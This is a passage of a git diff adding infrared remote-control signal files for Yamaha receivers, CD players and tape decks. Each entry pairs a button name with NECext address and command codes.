00 00 +command: 5E 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5F 00 00 00 +# +name: FRONT_EFFECT_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 80 00 00 00 +# +name: FRONT_EFFECT_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 81 00 00 00 +# +name: CENTRE_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 82 00 00 00 +# +name: CENTRE_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 83 00 00 00 +# +name: CENTRE_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: PRO_LOGIC_SURROUND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: PRO_LOGIC_ENHANCED +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: CNCT_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir new file mode 100644 index 000000000..68624c950 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: PAUSE/STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 03 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: INDEX- +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 05 00 00 00 +# +name: INDEX+ +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 06 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 08 00 00 00 +# +name: TIME_DISPLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0A 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir new file mode 100644 index 000000000..69b94c98d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR_APE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: CDV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: DAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir new file mode 100644 index 000000000..794ed92c3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 01 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 04 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_FORWARD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0A 00 00 00 +# +name: SEARCH_REVERSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0B 00 00 00 +# +name: INTRO_SCAN_FORWARD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1E 00 00 00 +# +name: INTRO_SCAN_REVERSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir new file mode 100644 index 000000000..4260bc8e6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir @@ -0,0 +1,62 @@ +Filetype: IR signals file +Version: 1 +# +name: tuner+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: tuner- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: tuner-toggle +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir new file mode 100644 index 000000000..02dac1653 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_REVERSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_FAST_FORWARD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_RECORD/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_REC_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: TAPE_DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_DIR_DECK_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_PAUSE/STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_SKIP_FORWARD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_SKIP_REVERSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SEARCH_FORWARD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SEARCH_REVERSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: PHONO_PLAY/CUT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0E 00 00 00 +# +name: VCR1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: TUNER_PRESET_UP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_PRESET_DOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: TUNER_A/B/C +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: VCR2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 13 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: CDV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: DAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: TAPE_DIR_DECK_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: SOURCE_DIRECT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir new file mode 100644 index 000000000..d508ee7e1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: TAPE_REWIND +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: TAPE_FFWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: TAPE_STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: TAPE_REC/PAUSE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: TAPE_REC_MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 05 00 00 00 +# +name: TAPE_DECK_A/B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: TAPE_DIR_A +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: CD_PAUSE/STOP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: CD_SKIP_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: CD_SKIP_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: CD_SEARCH_FWD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: CD_SEARCH_REV +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0F 00 00 00 +# +name: TUNER_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: TUNER_A/B/C/D/E +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: LD_V +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: TAPE_2/VCR_2 +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: TAPE_1/DAT +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: TAPE_DIR_B +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: CD_DISK_SKIP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 +# +name: DELAY_TIME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 52 00 00 00 +# +name: DELAY_TIME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 53 00 00 00 +# +name: DSP_EFFECT_ON/OFF +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 56 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5E 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 5F 00 00 00 +# +name: FRONT_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 80 00 00 00 +# +name: FRONT_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 81 00 00 00 +# +name: CENTRE_LEVEL_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 82 00 00 00 +# +name: CENTRE_LEVEL_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 83 00 00 00 +# +name: DSP_CENTRE_MODE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 84 00 00 00 +# +name: DSP_TEST +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 85 00 00 00 +# +name: DSP_PRO_LOGIC +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 88 00 00 00 +# +name: DSP_PRO_LOGIC_ENH. +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 89 00 00 00 +# +name: DSP_CNCT_VIDEO +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8A 00 00 00 +# +name: DSP_MONO_MOVIE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8B 00 00 00 +# +name: DSP_ROCK +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8C 00 00 00 +# +name: DSP_HALL +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 8D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir new file mode 100644 index 000000000..2155ac071 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: P1t8P9t16P17t24 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0D 00 00 00 +# +name: P1P9P17 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0E 00 00 00 +# +name: P2P10P18 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0F 00 00 00 +# +name: P3P11P19 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 10 00 00 00 +# +name: P4P12P20 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 11 00 00 00 +# +name: P5P13P21 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 12 00 00 00 +# +name: P6P14P22 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 13 00 00 00 +# +name: P7P15P23 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 14 00 00 00 +# +name: P8P16P24 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir new file mode 100644 index 000000000..5166e67a1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: tape_play +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 00 00 00 00 +# +name: tape_bwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 01 00 00 00 +# +name: tape_fwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 02 00 00 00 +# +name: tape_stop +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 04 00 00 00 +# +name: deck_a/b +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 06 00 00 00 +# +name: tape_dir_a +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 07 00 00 00 +# +name: cd_play +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 08 00 00 00 +# +name: cd_pause/stop +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 09 00 00 00 +# +name: cd_fwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0A 00 00 00 +# +name: cd_bwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0B 00 00 00 +# +name: cd_searc_fwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0C 00 00 00 +# +name: cd_search_bwd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 0D 00 00 00 +# +name: tuner_preset+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 10 00 00 00 +# +name: tuner_preset- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 11 00 00 00 +# +name: tuner_abcde +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 12 00 00 00 +# +name: phono +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 14 00 00 00 +# +name: cd/dvd +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 15 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 16 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 17 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 18 00 00 00 +# +name: md +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1F 00 00 00 +# +name: tape_dir_b +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 40 00 00 00 +# +name: cd_disc_skip +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 4F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir new file mode 100644 index 000000000..4823c1c7f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: A/B/C/D/E +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 10 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 13 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: D1 00 00 00 +command: 15 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir new file mode 100644 index 000000000..7057a3cf7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 00 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 01 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 02 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 03 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 04 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 05 00 00 00 +# +name: SEARCH_FORWARD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0A 00 00 00 +# +name: SEARCH_REVERSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0B 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0C 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0D 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 19 00 00 00 +# +name: PROG +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1B 00 00 00 +# +name: RUN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1C 00 00 00 +# +name: REMAIN +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1D 00 00 00 +# +name: INTRO_SCAN_FORWARD +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1E 00 00 00 +# +name: INTRO_SCAN_REVERSE +type: parsed +protocol: NECext +address: 7F 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir new file mode 100644 index 000000000..1c431f66f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir @@ -0,0 +1,116 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: SKIP_REVERSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SKIP_FORWARD +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 07 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 0B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 10 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 11 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 12 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 13 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 14 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 15 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 16 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 17 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 19 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1A 00 00 00 +# +name: OUTPUT_LEVEL_DOWN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1C 00 00 00 +# +name: OUTPUT_LEVEL_UP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 1D 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir new file mode 100644 index 000000000..9155b4062 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 00 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 01 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 02 00 00 00 +# +name: SKIP_REVERSE +type: parsed +protocol: NECext +address: 79 00 00 00 +command: 04 00 00 00 +# +name: SEARCH_REVERSE +type: parsed +protocol: NECext +address: 79 00 